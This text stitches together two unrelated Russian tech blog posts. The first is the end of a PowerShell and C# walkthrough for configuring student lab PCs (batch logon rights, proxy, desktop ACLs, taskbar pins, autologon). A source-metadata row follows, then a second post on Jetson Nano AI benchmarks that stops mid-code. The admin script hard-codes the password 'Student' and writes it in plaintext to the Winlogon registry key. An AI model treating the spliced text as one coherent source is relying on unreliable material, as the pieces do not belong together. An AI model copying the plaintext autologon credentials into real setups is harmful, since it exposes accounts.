IntPtr pSid = GetSIDInformation(account);
LSA_UNICODE_STRING[] privileges = new LSA_UNICODE_STRING[1];
privileges[0] = InitLsaString(privilege);
uint ret = Win32Sec.LsaAddAccountRights(lsaHandle, pSid, privileges, 1);
if (ret == 0)
return;
if (ret == STATUS_ACCESS_DENIED)
{
throw new UnauthorizedAccessException();
}
if ((ret == STATUS_INSUFFICIENT_RESOURCES) || (ret == STATUS_NO_MEMORY))
{
throw new OutOfMemoryException();
}
throw new Win32Exception(Win32Sec.LsaNtStatusToWinError((int)ret));
}
public void Dispose()
{
if (lsaHandle != IntPtr.Zero)
{
Win32Sec.LsaClose(lsaHandle);
lsaHandle = IntPtr.Zero;
}
GC.SuppressFinalize(this);
}
~LsaWrapper()
{
Dispose();
}
// helper functions
IntPtr GetSIDInformation(string account)
{
LSA_UNICODE_STRING[] names = new LSA_UNICODE_STRING[1];
LSA_TRANSLATED_SID2 lts;
IntPtr tsids = IntPtr.Zero;
IntPtr tdom = IntPtr.Zero;
names[0] = InitLsaString(account);
lts.Sid = IntPtr.Zero;
//Console.WriteLine("String account: {0}", names[0].Length);
int ret = Win32Sec.LsaLookupNames2(lsaHandle, 0, 1, names, ref tdom, ref tsids);
if (ret != 0)
throw new Win32Exception(Win32Sec.LsaNtStatusToWinError(ret));
lts = (LSA_TRANSLATED_SID2)Marshal.PtrToStructure(tsids,
typeof(LSA_TRANSLATED_SID2));
Win32Sec.LsaFreeMemory(tsids);
Win32Sec.LsaFreeMemory(tdom);
return lts.Sid;
}
static LSA_UNICODE_STRING InitLsaString(string s)
{
// Unicode strings max. 32KB
if (s.Length > 0x7ffe)
throw new ArgumentException("String too long");
LSA_UNICODE_STRING lus = new LSA_UNICODE_STRING();
lus.Buffer = s;
lus.Length = (ushort)(s.Length * sizeof(char));
lus.MaximumLength = (ushort)(lus.Length + sizeof(char));
return lus;
}
}
public class LsaWrapperCaller
{
public static void AddPrivileges(string account, string privilege)
{
using (LsaWrapper lsaWrapper = new LsaWrapper())
{
lsaWrapper.AddPrivileges(account, privilege);
}
}
}
}
'@
Add-Type -TypeDefinition $Source
[MyLsaWrapper.LsaWrapperCaller]::AddPrivileges($Identity, "SeBatchLogonRight")
```
Разрешение входа в качестве пакетного задания позволило двигаться дальше — к написанию скрипта, который выполняется из-под пользователя.
### Настройка прокси
С настройкой прокси оказалось все просто. [Рабочее решение](https://winitpro.ru/index.php/2017/04/13/powershell-cherez-proksi/) быстро нашлось:
```
Function Set-Proxy {
<#
.SYNOPSIS
Установка параметров прокси
.DESCRIPTION
Данная функция задает параметры прокси для пользователя
.EXAMPLE
#Set-Proxy a.cproxy.ru 8080
.PARAMETER Server
Адрес или доменное имя сервера (обязательный параметр)
.PARAMETER Port
Порт (обязательный параметр)
#>
[CmdletBinding()]
param (
[PARAMETER(Mandatory=$True)][String]$Server,
[PARAMETER(Mandatory=$True)][Int]$Port
)
If ((Test-NetConnection -ComputerName $Server -Port $Port).TcpTestSucceeded) {
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -name ProxyServer -Value "$($Server):$($Port)"
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -name ProxyEnable -Value 1
} Else {
Write-Error -Message "-- Invalid proxy server address or port: $($Server):$($Port)"
}
}
```
### Запрет создания файлов на рабочем столе
С запретом создания файлов на рабочем столе пришлось повозиться дольше, чем с сетью. Выставить права на папку оказалось не там просто как в \*nix системах. Но и тут нашлись ответы, которые я успешно адаптировал под себя:
```
Function Set-AccessRule {
<#
.SYNOPSIS
Установка прав на папку
.DESCRIPTION
Данная функция устанавливает заданные права на директорию
.EXAMPLE
#Set-AccessRule -Folder $env:USERPROFILE\Desktop\ -UserName $env:USERNAME -Rules CreateFiles,AppendData -AccessControlType Deny
.PARAMETER Folder
Директория, над которой производится действие (обязательный параметр)
.PARAMETER UserName
Имя учетной записи пользователя, для кого задаются права доступа (обязательный параметр)
.PARAMETER Rules
Права доступа через запятую (обязательный параметр)
.PARAMETER AccessControlType
Обязательный параметр, который может принимать одно из двух значений: Allow или Deny
#>
[CmdletBinding()]
param (
[PARAMETER(Mandatory=$True)][Path]$Folder,
[PARAMETER(Mandatory=$True)][String]$UserName,
[PARAMETER(Mandatory=$True)][String]$Rules,
[PARAMETER(Mandatory=$True)][String]$AccessControlType
)
#считываем текущий список ACL рабочего стола
$acl = Get-Acl $Folder
#Создаем переменную с нужными правами
$fileSystemRights = [System.Security.AccessControl.FileSystemRights]"$Rules"
#Cоздаем переменную с указанием пользователя, прав доступа и типа разрешения
$AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule($UserName, $fileSystemRights, $AccessControlType)
#Передаем переменную в класс FileSystemAccessRule для создания объекта
$acl.SetAccessRule($AccessRule)
#Применяем разрешения к папке
$acl | Set-Acl $Folder
}
Set-AccessRule -Folder $env:USERPROFILE\Desktop\ -UserName $env:USERNAME -Rules CreateFiles,AppendData,Delete -AccessControlType Deny
```
Описание FileSystemRights на официальном [сайте](https://docs.microsoft.com/ru-ru/dotnet/api/system.security.accesscontrol.filesystemrights?view=netframework-4.8).
### Настройка панели управления пользователя
Это делать было не обязательно, но я подумал, что было бы круто предоставить студентам настроенную панель, с часто используемыми программами. Ответ нашелся [тут](http://gpo-planet.com/?p=4203).
**PinnedApplication**
```
function Set-PinnedApplication
{
<#
.SYNOPSIS
Управление ярлыками на панели управления
.DESCRIPTION
Данная функция добавляет или удаляет ярлыки на панели управления пользователя
.EXAMPLE
#Set-PinnedApplication -Action UnpinfromTaskbar -FilePath "$env:ProgramFiles\Internet Explorer\iexplore.exe"
.EXAMPLE
#Set-PinnedApplication -Action PintoTaskbar -FilePath "${env:ProgramFiles(x86)}\Mozilla Firefox\firefox.exe"
.PARAMETER Action
Обязательный параметр, который может принимать одно из двух значений: UnpinfromTaskbar или PintoTaskbar
.PARAMETER FilePath
Имя учетной записи пользователя, для кого задаются права доступа (обязательный параметр)
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)][String]$Action,
[Parameter(Mandatory=$True)][String]$FilePath
)
if(-not (test-path $FilePath)) {
throw "FilePath does not exist."
}
function InvokeVerb {
param([string]$FilePath,$verb)
$verb = $verb.Replace("&","")
$path = split-path $FilePath
$shell = new-object -com "Shell.Application"
$folder = $shell.Namespace($path)
$item = $folder.Parsename((split-path $FilePath -leaf))
$itemVerb = $item.Verbs() | ? {$_.Name.Replace("&","") -eq $verb}
if($itemVerb -eq $null){
throw "Verb $verb not found."
} else {
$itemVerb.DoIt()
}
}
function GetVerb {
param([int]$verbId)
try {
$t = [type]"CosmosKey.Util.MuiHelper"
} catch {
$def = [Text.StringBuilder]""
[void]$def.AppendLine('[DllImport("user32.dll")]')
[void]$def.AppendLine('public static extern int LoadString(IntPtr h,uint id, System.Text.StringBuilder sb,int maxBuffer);')
[void]$def.AppendLine('[DllImport("kernel32.dll")]')
[void]$def.AppendLine('public static extern IntPtr LoadLibrary(string s);')
Add-Type -MemberDefinition $def.ToString() -name MuiHelper -namespace CosmosKey.Util
}
if($global:CosmosKey_Utils_MuiHelper_Shell32 -eq $null){
$global:CosmosKey_Utils_MuiHelper_Shell32 = [CosmosKey.Util.MuiHelper]::LoadLibrary("shell32.dll")
}
$maxVerbLength=255
$verbBuilder = New-Object Text.StringBuilder "",$maxVerbLength
[void][CosmosKey.Util.MuiHelper]::LoadString($CosmosKey_Utils_MuiHelper_Shell32,$verbId,$verbBuilder,$maxVerbLength)
return $verbBuilder.ToString()
}
$verbs = @{
"PintoTaskbar"=5386
"UnpinfromTaskbar"=5387
}
if($verbs.$Action -eq $null){
Throw "Action $action not supported`nSupported actions are:`n`tPintoTaskbar`n`tUnpinfromTaskbar"
}
InvokeVerb -FilePath $FilePath -Verb $(GetVerb -VerbId $verbs.$action)
}
```
Заключение
----------
Скрипты работают, время обслуживания каждой станции сократилось, цель достигнута. Для меня, как пользователя Linux, настройка Windows оказалось не самым простым приключением, но познавательным. Скрипт настройки буду развивать. В планах добавить проверку на наличие установленного ПО и установка, запуск антивируса.
**Итоговые скрипты, которые в работе**
#### Запуск от имени Администратора
```
Function New-User {
<#
.SYNOPSIS
Создание нового пользователя
.DESCRIPTION
Данная функция создает нового пользователя и добавляет его в группу Пользователи
.EXAMPLE
#New-User "Student" "Student"
.PARAMETER Name
Имя нового пользователя (обязательный параметр)
.PARAMETER Password
Пароль (обязательный параметр)
#>
[CmdletBinding()]
param (
[PARAMETER(Mandatory=$True)][String]$Name,
[PARAMETER(Mandatory=$True)][String]$Password
)
$Pwd = convertto-securestring $Password -asplaintext -force
$GroupSID = "S-1-5-32-545"
New-LocalUser -User $Name -AccountNeverExpires:$true -FullName $Name -Password $Pwd -PasswordNeverExpires:$true
Add-LocalGroupMember -SID $GroupSID -Member $Name
Write-Host "-- Создан пользователь $Name с паролем $Password" -foregroundcolor Green
}
Function Remove-Users {
<#
.SYNOPSIS
Удаление пользователей
.DESCRIPTION
Данная функция удаляет пользователей, которые сейчас не активны и не являются специальными
Удаляются в том числе рабочий каталог и реестр пользователей
.EXAMPLE
#Remove-Users
#>
[CmdletBinding()]
$UsersProfiles = Get-WMIObject -class Win32_UserProfile -ComputerName $env:COMPUTERNAME | Where {!($_.Loaded) -and !($_.Special)}
foreach($Usr in $UsersProfiles) {
$UsrName = $Usr.LocalPath.Split("\")[2]
Write-Host "-- Удаление пользователя $UsrName ..." -foregroundcolor Green
Remove-LocalUser -Name $UsrName
Remove-WmiObject -Path $Usr.__PATH
Write-Host "-- Пользователь $UsrName удален" -foregroundcolor Green
}
}
Function Set-AutoLogon {
<#
.SYNOPSIS
Включение автовхода для пользователя
.DESCRIPTION
Данная функция включает автовход для указанного пользователя
.EXAMPLE
#Set-AutoLogon "Student" "Student"
.PARAMETER Name
Имя пользователя (обязательный параметр)
.PARAMETER Password
Пароль (обязательный параметр)
#>
[CmdletBinding()]
param (
[PARAMETER(Mandatory=$True)][String]$Name,
[PARAMETER(Mandatory=$True)][String]$Password
)
$PathToWinlogon = "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
New-ItemProperty -Path $PathToWinlogon -Name AutoAdminLogon -Value 1 -PropertyType "String"
New-ItemProperty -Path $PathToWinlogon -Name DefaultUserName -Value $Name -PropertyType "String"
New-ItemProperty -Path $PathToWinlogon -Name DefaultPassword -Value $Password -PropertyType "String"
}
$Source = @'
using System;
using System.Collections.Generic;
using System.Text;
namespace MyLsaWrapper
{
using System.Runtime.InteropServices;
using System.Security;
using System.Management;
using System.Runtime.CompilerServices;
using System.ComponentModel;
using LSA_HANDLE = IntPtr;
[StructLayout(LayoutKind.Sequential)]
struct LSA_OBJECT_ATTRIBUTES
{
internal int Length;
internal IntPtr RootDirectory;
internal IntPtr ObjectName;
internal int Attributes;
internal IntPtr SecurityDescriptor;
internal IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct LSA_UNICODE_STRING
{
internal ushort Length;
internal ushort MaximumLength;
[MarshalAs(UnmanagedType.LPWStr)]
internal string Buffer;
}
sealed class Win32Sec
{
[DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true),
SuppressUnmanagedCodeSecurityAttribute]
internal static extern uint LsaOpenPolicy(
LSA_UNICODE_STRING[] SystemName,
ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
int AccessMask,
out IntPtr PolicyHandle
);
[DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true),
SuppressUnmanagedCodeSecurityAttribute]
internal static extern uint LsaAddAccountRights(
LSA_HANDLE PolicyHandle,
IntPtr pSID,
LSA_UNICODE_STRING[] UserRights,
int CountOfRights
);
[DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true),
SuppressUnmanagedCodeSecurityAttribute]
internal static extern int LsaLookupNames2(
LSA_HANDLE PolicyHandle,
uint Flags,
uint Count,
LSA_UNICODE_STRING[] Names,
ref IntPtr ReferencedDomains,
ref IntPtr Sids
);
[DllImport("advapi32")]
internal static extern int LsaNtStatusToWinError(int NTSTATUS);
[DllImport("advapi32")]
internal static extern int LsaClose(IntPtr PolicyHandle);
[DllImport("advapi32")]
internal static extern int LsaFreeMemory(IntPtr Buffer);
}
///
/// This class is used to grant "Log on as a service", "Log on as a batchjob", "Log on localy" etc.
/// to a user.
///
public sealed class LsaWrapper : IDisposable
{
[StructLayout(LayoutKind.Sequential)]
struct LSA_TRUST_INFORMATION
{
internal LSA_UNICODE_STRING Name;
internal IntPtr Sid;
}
[StructLayout(LayoutKind.Sequential)]
struct LSA_TRANSLATED_SID2
{
internal SidNameUse Use;
internal IntPtr Sid;
internal int DomainIndex;
uint Flags;
}
[StructLayout(LayoutKind.Sequential)]
struct LSA_REFERENCED_DOMAIN_LIST
{
internal uint Entries;
internal LSA_TRUST_INFORMATION Domains;
}
enum SidNameUse : int
{
User = 1,
Group = 2,
Domain = 3,
Alias = 4,
KnownGroup = 5,
DeletedAccount = 6,
Invalid = 7,
Unknown = 8,
Computer = 9
}
enum Access : int
{
POLICY_READ = 0x20006,
POLICY_ALL_ACCESS = 0x00F0FFF,
POLICY_EXECUTE = 0X20801,
POLICY_WRITE = 0X207F8
}
const uint STATUS_ACCESS_DENIED = 0xc0000022;
const uint STATUS_INSUFFICIENT_RESOURCES = 0xc000009a;
const uint STATUS_NO_MEMORY = 0xc0000017;
IntPtr lsaHandle;
public LsaWrapper()
: this(null)
{ }
// // local system if systemName is null
public LsaWrapper(string systemName)
{
LSA_OBJECT_ATTRIBUTES lsaAttr;
lsaAttr.RootDirectory = IntPtr.Zero;
lsaAttr.ObjectName = IntPtr.Zero;
lsaAttr.Attributes = 0;
lsaAttr.SecurityDescriptor = IntPtr.Zero;
lsaAttr.SecurityQualityOfService = IntPtr.Zero;
lsaAttr.Length = Marshal.SizeOf(typeof(LSA_OBJECT_ATTRIBUTES));
lsaHandle = IntPtr.Zero;
LSA_UNICODE_STRING[] system = null;
if (systemName != null)
{
system = new LSA_UNICODE_STRING[1];
system[0] = InitLsaString(systemName);
}
uint ret = Win32Sec.LsaOpenPolicy(system, ref lsaAttr,
(int)Access.POLICY_ALL_ACCESS, out lsaHandle);
if (ret == 0)
return;
if (ret == STATUS_ACCESS_DENIED)
{
throw new UnauthorizedAccessException();
}
if ((ret == STATUS_INSUFFICIENT_RESOURCES) || (ret == STATUS_NO_MEMORY))
{
throw new OutOfMemoryException();
}
throw new Win32Exception(Win32Sec.LsaNtStatusToWinError((int)ret));
}
public void AddPrivileges(string account, string privilege)
{
IntPtr pSid = GetSIDInformation(account);
LSA_UNICODE_STRING[] privileges = new LSA_UNICODE_STRING[1];
privileges[0] = InitLsaString(privilege);
uint ret = Win32Sec.LsaAddAccountRights(lsaHandle, pSid, privileges, 1);
if (ret == 0)
return;
if (ret == STATUS_ACCESS_DENIED)
{
throw new UnauthorizedAccessException();
}
if ((ret == STATUS_INSUFFICIENT_RESOURCES) || (ret == STATUS_NO_MEMORY))
{
throw new OutOfMemoryException();
}
throw new Win32Exception(Win32Sec.LsaNtStatusToWinError((int)ret));
}
public void Dispose()
{
if (lsaHandle != IntPtr.Zero)
{
Win32Sec.LsaClose(lsaHandle);
lsaHandle = IntPtr.Zero;
}
GC.SuppressFinalize(this);
}
~LsaWrapper()
{
Dispose();
}
// helper functions
IntPtr GetSIDInformation(string account)
{
LSA_UNICODE_STRING[] names = new LSA_UNICODE_STRING[1];
LSA_TRANSLATED_SID2 lts;
IntPtr tsids = IntPtr.Zero;
IntPtr tdom = IntPtr.Zero;
names[0] = InitLsaString(account);
lts.Sid = IntPtr.Zero;
//Console.WriteLine("String account: {0}", names[0].Length);
int ret = Win32Sec.LsaLookupNames2(lsaHandle, 0, 1, names, ref tdom, ref tsids);
if (ret != 0)
throw new Win32Exception(Win32Sec.LsaNtStatusToWinError(ret));
lts = (LSA_TRANSLATED_SID2)Marshal.PtrToStructure(tsids,
typeof(LSA_TRANSLATED_SID2));
Win32Sec.LsaFreeMemory(tsids);
Win32Sec.LsaFreeMemory(tdom);
return lts.Sid;
}
static LSA_UNICODE_STRING InitLsaString(string s)
{
// Unicode strings max. 32KB
if (s.Length > 0x7ffe)
throw new ArgumentException("String too long");
LSA_UNICODE_STRING lus = new LSA_UNICODE_STRING();
lus.Buffer = s;
lus.Length = (ushort)(s.Length * sizeof(char));
lus.MaximumLength = (ushort)(lus.Length + sizeof(char));
return lus;
}
}
public class LsaWrapperCaller
{
public static void AddPrivileges(string account, string privilege)
{
using (LsaWrapper lsaWrapper = new LsaWrapper())
{
lsaWrapper.AddPrivileges(account, privilege);
}
}
}
}
'@
Add-Type -TypeDefinition $Source | Out-Null
# -------------------------
# Пересоздание пользователя
# -------------------------
$UserName = "Student"
$Password = "Student"
Remove-Users | Out-Null
New-User $UserName $Password | Out-Null
Set-AutoLogon $UserName $Password | Out-Null
[MyLsaWrapper.LsaWrapperCaller]::AddPrivileges($UserName, "SeBatchLogonRight") | Out-Null
write-host "-- разрешен вход в качестве пакетного задания для пользователя $UserName" -foregroundcolor Green
schtasks /create /tn LogonUserSettings /tr "pwsh C:\Scripts\SetupUser.ps1" /sc onlogon /ru $env:USERDOMAIN\$UserName /rp $Password /f
```
#### Запускаемый из-под пользователя Student
```
Function Set-Proxy {
<#
.SYNOPSIS
Установка параметров прокси
.DESCRIPTION
Данная функция задает параметры прокси для пользователя
.EXAMPLE
#Set-Proxy a.cproxy.ru 8080
.PARAMETER Server
Адрес или доменное имя сервера (обязательный параметр)
.PARAMETER Port
Порт (обязательный параметр)
#>
[CmdletBinding()]
param (
[PARAMETER(Mandatory=$True)][String]$Server,
[PARAMETER(Mandatory=$True)][Int]$Port
)
If ((Test-NetConnection -ComputerName $Server -Port $Port).TcpTestSucceeded) {
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -name ProxyServer -Value "$($Server):$($Port)"
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -name ProxyEnable -Value 1
} Else {
Write-Error -Message "-- Invalid proxy server address or port: $($Server):$($Port)"
}
}
Function Set-AccessRule {
<#
.SYNOPSIS
Установка правк на папку
.DESCRIPTION
Данная функция устанавливает заданные права на дирректорию
.EXAMPLE
#Set-AccessRule -Folder $env:USERPROFILE\Desktop\ -UserName $env:USERNAME -Rules CreateFiles,AppendData -AccessControlType Deny
.PARAMETER Folder
Дирректория, над которой производится действие (обязательный параметр)
.PARAMETER UserName
Имя учетной записи пользователя, для кого задаются права доступа (обязательный параметр)
.PARAMETER Rules
Права доступа через запятую(обязательный параметр)
.PARAMETER AccessControlType
Обязательный параметр, который может принмать одно из двух значений: Allow или Deny
#>
[CmdletBinding()]
param (
[PARAMETER(Mandatory=$True)][String]$Folder,
[PARAMETER(Mandatory=$True)][String]$UserName,
[PARAMETER(Mandatory=$True)][String]$Rules,
[PARAMETER(Mandatory=$True)][String]$AccessControlType
)
#считываем текущий список ACL рабочего стола
$acl = Get-Acl $Folder
#Создаем переменню с нужными правами
$fileSystemRights = [System.Security.AccessControl.FileSystemRights]"$Rules"
#Cоздаем переменную с указанием пользователя, прав доступа и типа разрешения
$AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule($UserName, $fileSystemRights, $AccessControlType)
#Передаем переменную в класс FileSystemAccessRule для создания объекта
$acl.SetAccessRule($AccessRule)
#Применяем разрешения к папке
$acl | Set-Acl $Folder
}
function Set-PinnedApplication
{
<#
.SYNOPSIS
Управление ярлыками на панели управления
.DESCRIPTION
Данная функция добавляет или удаляет ярлыки на панели управления пользователя
.EXAMPLE
#Set-PinnedApplication -Action UnpinfromTaskbar -FilePath "$env:ProgramFiles\Internet Explorer\iexplore.exe"
.EXAMPLE
#Set-PinnedApplication -Action PintoTaskbar -FilePath "${env:ProgramFiles(x86)}\Mozilla Firefox\firefox.exe"
.PARAMETER Action
Обязательный параметр, который может принимать одно из двух значений: UnpinfromTaskbar или PintoTaskbar
.PARAMETER FilePath
Имя учетной записи пользователя, для кого задаются права доступа (обязательный параметр)
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)][String]$Action,
[Parameter(Mandatory=$True)][String]$FilePath
)
if(-not (test-path $FilePath)) {
throw "FilePath does not exist."
}
function InvokeVerb {
param([string]$FilePath,$verb)
$verb = $verb.Replace("&","")
$path = split-path $FilePath
$shell = new-object -com "Shell.Application"
$folder = $shell.Namespace($path)
$item = $folder.Parsename((split-path $FilePath -leaf))
$itemVerb = $item.Verbs() | ? {$_.Name.Replace("&","") -eq $verb}
if($itemVerb -eq $null){
throw "Verb $verb not found."
} else {
$itemVerb.DoIt()
}
}
function GetVerb {
param([int]$verbId)
try {
$t = [type]"CosmosKey.Util.MuiHelper"
} catch {
$def = [Text.StringBuilder]""
[void]$def.AppendLine('[DllImport("user32.dll")]')
[void]$def.AppendLine('public static extern int LoadString(IntPtr h,uint id, System.Text.StringBuilder sb,int maxBuffer);')
[void]$def.AppendLine('[DllImport("kernel32.dll")]')
[void]$def.AppendLine('public static extern IntPtr LoadLibrary(string s);')
Add-Type -MemberDefinition $def.ToString() -name MuiHelper -namespace CosmosKey.Util
}
if($global:CosmosKey_Utils_MuiHelper_Shell32 -eq $null){
$global:CosmosKey_Utils_MuiHelper_Shell32 = [CosmosKey.Util.MuiHelper]::LoadLibrary("shell32.dll")
}
$maxVerbLength=255
$verbBuilder = New-Object Text.StringBuilder "",$maxVerbLength
[void][CosmosKey.Util.MuiHelper]::LoadString($CosmosKey_Utils_MuiHelper_Shell32,$verbId,$verbBuilder,$maxVerbLength)
return $verbBuilder.ToString()
}
$verbs = @{
"PintoTaskbar"=5386
"UnpinfromTaskbar"=5387
}
if($verbs.$Action -eq $null){
Throw "Action $action not supported`nSupported actions are:`n`tPintoTaskbar`n`tUnpinfromTaskbar"
}
InvokeVerb -FilePath $FilePath -Verb $(GetVerb -VerbId $verbs.$action)
}
Set-Proxy cproxy.udsu.ru 8080
Set-AccessRule -Folder $env:USERPROFILE\Desktop\ -UserName $env:USERNAME -Rules "CreateFiles,AppendData,Delete" -AccessControlType Deny
Set-PinnedApplication -Action UnpinfromTaskbar -FilePath "$env:ProgramFiles\Internet Explorer\iexplore.exe"
Set-PinnedApplication -Action PintoTaskbar -FilePath "${env:ProgramFiles(x86)}\Mozilla Firefox\firefox.exe"
Set-PinnedApplication -Action PintoTaskbar -FilePath "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2013\Excel 2013.lnk"
Set-PinnedApplication -Action PintoTaskbar -FilePath "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2013\Word 2013.lnk"
Set-PinnedApplication -Action PintoTaskbar -FilePath "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2013\PowerPoint 2013.lnk"
Set-PinnedApplication -Action PintoTaskbar -FilePath "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\АСКОН\КОМПАС-3D V16\КОМПАС-3D V16.lnk"
# Удаление задачи, после ее выполнения
Unregister-ScheduledTask -TaskName UdSUSettingStudent -Confirm:$false
``` | https://habr.com/ru/post/514590/ | null | ru | null |
# NVIDIA Jetson Nano: тесты и первые впечатления — часть 2, тесты AI
Привет, Хабр.
В [первой части](https://habr.com/ru/post/460723/) была рассмотрена NVIDIA Jetson Nano — плата в форм-факторе Raspberry Pi, ориентированная на производительные вычисления с помощью GPU. Настала пора протестировать плату в том, для чего она создавалась — для AI-ориентированных расчетов.
Рассмотрим, как идут на плате разные задачи, вроде классификации изображений или распознавания пешеходов или котиков (куда же без них). Для всех тестов приведены исходники, которые можно запустить на десктопе, Jetson Nano или Raspberry Pi. Для тех, кому интересно, продолжение под катом.
Есть два способа использования этой платы. Первый — это запустить стандартные фреймворки, типа Keras и Tensorflow. Оно работать в принципе, будет, но как уже было видно из первой части, Jetson Nano, разумеется, уступает полноценной десктопной или ноутбучной видеокарте. Задачу оптимизации модели пользователю придется взять на себя. Второй способ — взять готовые классы, поставляемые вместе с платой. Оно проще и работает «из коробки», минус в том, что в гораздо большей степени скрыты все детали реализации, к тому же, придется изучить и использовать custom-sdk, который кроме этих плат, нигде больше не пригодится. Впрочем, мы посмотрим оба способа, начнем с первого.
Классификация изображений
-------------------------
Рассмотрим задачу распознавания изображений. Для этого воспользуемся поставляемой вместе с Keras моделью ResNet50 (эта модель была победителем ImageNet Challenge в 2015). Чтобы ее использовать, достаточно нескольких строчек кода.
```
import tensorflow as tf
import numpy as np
import time
IMAGE_SIZE = 224
IMG_SHAPE = (IMAGE_SIZE, IMAGE_SIZE, 3)
resnet = tf.keras.applications.ResNet50(input_shape=IMG_SHAPE)
img = tf.contrib.keras.preprocessing.image.load_img('cat.png', target_size=(IMAGE_SIZE, IMAGE_SIZE))
t_start = time.time()
img_data = tf.contrib.keras.preprocessing.image.img_to_array(img)
x = tf.contrib.keras.applications.resnet50.preprocess_input(np.expand_dims(img_data, axis=0))
probabilities = resnet.predict(x)
print(tf.contrib.keras.applications.resnet50.decode_predictions(probabilities, top=5))
print("dT", time.time() - t_start)
```
Я даже не стал убирать код под спойлер, т.к. он весьма небольшой. Как можно видеть, изображение сначала ресайзится к 224х224 (таков входной формат сети), в завершении, функция predict делает всю работу.
Берем фотографию котика и запускаем программу.
Результаты:
```
[[('n02123045', 'tabby', 0.765179), ('n02123159', 'tiger_cat', 0.19059166), ('n02124075', 'Egyptian_cat', 0.013605555), ('n04493381', 'tub', 0.0025916891), ('n04553703', 'washbasin', 0.0021566998)]]
```
В очередной раз огорчившись своему знанию английского (интересно, многие ли не-нативы знают что такое «tabby»?), сверил вывод со словарем, да, все работает.
Время выполнения кода на ПК составило **0.5с** при расчетах на CPU и **2с** (!) при расчете на GPU. Судя по логу, проблема то ли в модели, то ли в Tensorflow, но при запуске код пытается выделить много памяти, получая на выходе несколько warnings вида «Allocator (GPU\_0\_bfc) ran out of memory trying to allocate 2.13GiB with freed\_by\_count=0.». Это warning а не error, код при этом работает, но гораздо медленнее чем должен был бы.
На Jetson Nano все еще медленнее: **2.8c** на CPU и **18.8с** на GPU, вывод при этом выглядит так:
В общем, даже 3с на изображение, это пока не real time. Установка рекомендуемой на stack overflow опции gpu\_options.allow\_growth не помогает, если кто знает другой способ, напишите в комментариях.
**Правка**: как подсказали в комментариях, первый запуск tensorflow всегда выполняется долго, и измерять по нему время некорректно. Действительно, при обработке второго и последующего файлов, результаты гораздо лучше — 0.6с без GPU и 0.2с с GPU. На десктопе быстродействие составляет, впрочем, 2.0с и 0.05с соответственно.
Удобной особенностью ResNet50 является то, что при первом старте она выкачивает всю модель на диск (порядка 100Мб), далее код работает полностью автономно, без регистраций и SMS. Что особенно приятно, учитывая что большинство современных AI-сервисов работают только на сервере, и без интернета устройство превращается в «тыкву».
Cats vs Dogs
------------
Рассмотрим следующую задачу. Создадим с помощью Keras нейронную сеть, способную различать на фото кошек и собак. Это будет сверточная нейронная сеть (CNN — Convolutional Neural Network), дизайн сети возьмем из [этой](https://medium.com/@ferhat00/deep-learning-with-keras-classifying-cats-and-dogs-part-1-982067594856) публикации. Обучающий набор изображений кошек и собак уже включен в пакет tensorflow\_datasets, так что фотографировать их самостоятельно не придется.
Загружаем набор изображений и разбиваем его на три блока — обучающий, проверочный и тестовый. Каждую картинку «нормализуем», приводя цвета к диапазону 0..1.
```
import tensorflow as tf
from tensorflow.keras import layers
import tensorflow_datasets as tfds
from keras.preprocessing import image
import numpy as np
import time
IMAGE_SIZE = 64
IMG_SHAPE = (IMAGE_SIZE, IMAGE_SIZE, 3)
splits = tfds.Split.TRAIN.subsplit(weighted=(80, 10, 10))
(cat_train, cat_valid, cat_test), info = tfds.load('cats_vs_dogs', split=list(splits), with_info=True, as_supervised=True)
label_names = info.features['label'].int2str
def pre_process_image(image, label):
image = tf.cast(image, tf.float32)
image = image / 255.0 # Normalize image: 0..255 -> 0..1
image = tf.image.resize(image, (IMAGE_SIZE, IMAGE_SIZE))
return image, label
BATCH_SIZE = 32
SHUFFLE_BUFFER_SIZE = 1000
train_batch = cat_train.map(pre_process_image).shuffle(SHUFFLE_BUFFER_SIZE).repeat().batch(BATCH_SIZE)
validation_batch = cat_valid.map(pre_process_image).repeat().batch(BATCH_SIZE)
```
Напишем функцию генерации сверточной нейросети.
```
def custom_model():
# Source: https://medium.com/@ferhat00/deep-learning-with-keras-classifying-cats-and-dogs-part-1-982067594856
classifier = tf.keras.Sequential()
# Step 1 — Convolution
classifier.add(layers.Conv2D(32, (3, 3), input_shape=IMG_SHAPE, activation='relu'))
# Step 2 — Pooling
classifier.add(layers.MaxPooling2D(pool_size=(2, 2)))
# Adding a second convolutional layer
classifier.add(layers.Conv2D(32, (3, 3), activation='relu'))
classifier.add(layers.MaxPooling2D(pool_size=(2, 2)))
# Step 3 — Flattening
classifier.add(layers.Flatten())
# Step 4 — Full connection
classifier.add(layers.Dense(units=128, activation='relu'))
classifier.add(layers.Dense(units=1, activation='sigmoid'))
# Compiling the CNN we shall use the Adam stochastic optimisation method, binary cross entropy loss function
classifier.compile(optimizer=tf.keras.optimizers.Adam(), loss='binary_crossentropy', metrics=['accuracy'])
return classifier
```
Теперь мы можем запустить обучение сети на нашем наборе «кошки-собаки». Обучение длится долго (минут 20 на GPU и 1-2 часа на CPU), так что по окончании сохраняем модель в файл.
```
tl_model = custom_model()
t_start = time.time()
tl_model.fit(train_batch, steps_per_epoch=8000, epochs=2, validation_data=validation_batch, validation_steps=10, callbacks=None)
print("Training done, dT:", time.time() - t_start)
print(tl_model.summary())
validation_steps = 20
loss0, accuracy0 = tl_model.evaluate(validation_batch, steps=validation_steps)
